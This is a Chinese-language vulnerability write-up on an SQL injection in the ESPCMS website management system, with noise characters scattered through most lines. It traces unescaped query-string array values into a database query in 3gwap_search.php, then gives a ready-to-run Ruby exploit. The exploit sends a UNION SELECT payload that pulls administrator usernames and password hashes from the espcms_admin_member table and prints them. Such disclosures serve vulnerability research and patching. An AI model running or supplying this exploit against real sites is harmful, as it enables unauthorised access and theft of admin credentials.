0×0 漏洞概述0×1 漏洞细节
, P$ F9 v% x; \' w- |4 r0×2 PoC
4 r ]* B4 v. K i: }2 V
. z$ x9 r1 x0 z2 q; X, h; m( ]; G. k' A- E0 J E2 A) ^
$ M g( O. w3 m; n! d/ Q0×0 漏洞概述9 h0 C- K/ n' ~8 Y
2 @) A1 |4 ~+ w! P- E' u! i; |易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。# S! D2 H0 k4 x7 { o0 \) }
其在处理传入的参数时考虑不严谨导致SQL注入发生! @8 D% X' f, d2 ?- w9 t& R( @5 W
" e9 i: l3 R, }- u& U1 r9 ]1 C5 H+ M" F* w, B( i
0×1 漏洞细节/ L9 O6 j& k* [: z# e2 W' {4 J
% V0 D* z @* l2 E9 P+ s6 ^: \
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
# }% H1 J, \) U; W, B: G I. _正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
) R# J/ c* {' O/ j3 o! `而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
9 s4 L3 r0 ]+ o. V) {
/ x( Q' a+ a/ t2 Y6 y) A* r/ F- {在/interface/3gwap_search.php文件的in_result函数中:
1 R% S, E" t9 }2 O& l5 x% W c' }
d9 d8 N; s0 g T
* ? {& G `; G1 ]2 u1 p function in_result() {
$ c3 z; V7 ^! [7 A" N ... ... ... ... ... ... ... ... ...
- l/ P+ s3 t; H( c, j $urlcode = $_SERVER[ 'QUERY_STRING '];8 {" J. E( z! G# R q1 J/ _: h9 r5 {
parse_str(html_entity_decode($urlcode), $output);
, R; U: D4 ~ H% r
+ b7 Z" ?9 J- X; ~; { ... ... ... ... ... ... ... ... ...
$ f% {( f4 J" N8 ]" _1 i8 l" m if (is_array($output['attr' ]) && count($output['attr']) > 0) {+ A. D; o1 H+ G4 V" K
& }: f3 I P: U- R $db_table = db_prefix . 'model_att';
$ {, n8 t# J! a" A, {( H" I! j1 q0 L& v$ J1 z( C/ v8 _+ F" E2 k
foreach ($output['attr' ] as $key => $value) {. ~9 H/ t& |7 E0 q& |
if ($value) {
) E- M4 r; C! ?( B# M: ^
- I7 n( g6 S/ X $key = addslashes($key);
7 N! R9 E( b5 {7 G( ^3 q' Q! g $key = $this-> fun->inputcodetrim($key);6 |+ s0 ~% g2 B( t
$db_att_where = " WHERE isclass=1 AND attrname='$key'";3 L$ f3 @; e0 X$ n" e. Y2 p) `& i3 O
$countnum = $this->db_numrows($db_table, $db_att_where);
: Y9 T6 o `, f: S! n' r. H7 E& q if ($countnum > 0) {
) x1 Y' `0 ?. V5 L $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;2 T8 l( q$ Y& T( q- v9 ^% o4 z
}
# f$ Z0 B5 v. c; R: \1 w. @ }! U: ]. f6 Y+ c
}( _0 Q1 `0 W" j) Z: W7 D/ f
}
$ L& P1 x* e4 q- S; d1 } if (!empty ($keyword) && empty($keyname)) {% K7 }# Y# P* {- o0 e) g
$keyname = 'title';( e7 ]2 e. c9 l# G9 d- N
$db_where.= " AND a.title like '%$keyword%'" ;
7 {7 o2 F6 R* ^" ?: d6 O: o# ~5 ^ } elseif (!empty ($keyword) && !empty($keyname)) {
# B; M, C3 }+ m1 [% Q $db_where.= " AND $keyname like '% $keyword%'";
" I9 M8 Y4 {4 b4 s: t# X }
3 r( Z/ B' S* s $pagemax = 15;
3 G0 |2 r6 P! _5 U" E) ?: [/ G
: n( [3 r( r7 {6 i* A2 E( f' v $pagesylte = 1;) ~6 s2 F2 U4 [7 t3 R
% e! n/ n3 T" B2 Q: D
if ($countnum > 0) {
. E" G& a2 h* g1 l3 d: M
7 m6 G4 b) N/ B$ n& n f $numpage = ceil($countnum / $pagemax);0 e! B" \! a8 F0 [2 m' u' t B
} else {
3 Q3 s' q6 c4 A" b. I. K9 v$ o1 u $numpage = 1;3 C! K7 n+ T. \+ B! E+ `( b
}
, _) n- p' r& @' H! F. m, i $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;6 R* U% M& L3 S8 s) Y, z3 C
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
: D- D8 Z3 i; Y- E; H/ [: M$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);% F0 K. n: K/ a0 N
... ... ... ... ... ... ... ... ...
! n. p& z' E1 V# Q [0 K }1 L$ I" O2 T! {" t A( j% R3 a
) W% f2 v3 H; x2 O2 O7 R
+ o8 _% N3 y9 z, x* L! \) E0×2 PoC
4 N9 h4 W& k! k7 U) S0 ?
; M; l0 `; Z8 l- r' F% ?
/ |( ]; ~. S, g% Y+ Y5 L8 g
5 I* n" L; `' ]( c5 j, S9 f3 @, Qrequire "net/http"3 r5 d" ~- [& v/ x+ M2 \. n$ V7 b
6 G7 @: D! F0 [
def request(method, url)# C1 o7 d' ^) t3 |, Y* L
if method.eql?("get")
: C4 I2 m! G4 d# ^9 ]2 L3 k uri = URI.parse(url)
0 b5 v5 L( I) } http = Net::HTTP.new(uri.host, uri.port)" H% h* {; y$ q
response = http.request(Net::HTTP::Get.new(uri.request_uri))
+ C+ C5 W- r* C, h V return response8 J4 j& B# p; {% _; A
end3 {$ K% j1 D" u. z5 a
end
+ p9 s2 v0 ~' j- |& q- P6 i# H0 p- Q+ d
doc =<<HERE
h5 a U( a" R-------------------------------------------------------
' Q7 Q; ^, g5 w( J4 tEspcms Injection Exploit' \2 A _# g+ C6 Z: V
Author:ztz: l% X ~6 A3 m; ^/ ]' W1 f
Blog:http://ztz.fuzzexp.org/
\8 B0 ?! b! g: B- B# {-------------------------------------------------------
) `7 t& X" q) K9 e8 j- j* m1 F9 g! e. k* u/ l6 m0 S
HERE
! N; Q0 C2 d" w, v7 R3 J3 ^" L k
' G3 X1 r7 D8 L5 ?usage =<<HERE. d" f. r2 p) m/ _- U+ y" b
Usage: ruby #{$0} host port path
' Q% A( N/ p; Yexample: ruby #{$0} www.target.com 80 /
( r. P: P% U, c8 R: c* oHERE; y& C8 ^$ ^( U3 @% `; W* l
% E$ {9 g9 l0 J* Yputs doc2 l0 i4 G. f5 I9 r) L
if ARGV.length < 3$ E p) _. |1 G9 }) s" O* M& V
puts usage. ^' W8 u% A* U- v% U5 y8 A
else
1 I8 ?( q3 v; \ $host = ARGV[0]% e2 n( ]! K- k2 `# W- x' G6 ?
$port = ARGV[1]$ E3 ^7 S* _% K. |8 c
$path = ARGV[2]
% P' C- }/ S$ |- B# X [ ?2 k$ v, r' t. Y) ^* Z
puts "send request..."
E4 E# @; ~, h url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
S1 q' {) \5 }& X7 Jattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13# S/ {$ G; s& o! m6 q' j3 o: G9 H
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27! @+ G `3 H: b6 I% w
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
0 U( F6 z- r; ?$ v response = request("get", url)
% S, `7 c& F; b" {5 j result = response.body.scan(/\w+&\w{32}/)5 Q! b, R# m( ^ t
puts result
2 P7 s9 K$ P+ a- L- r9 E \) y& yend
6 E) p) X9 Z* W5 O0 o$ `- D6 _
& {' s& C; G B3 l7 X( ]; e |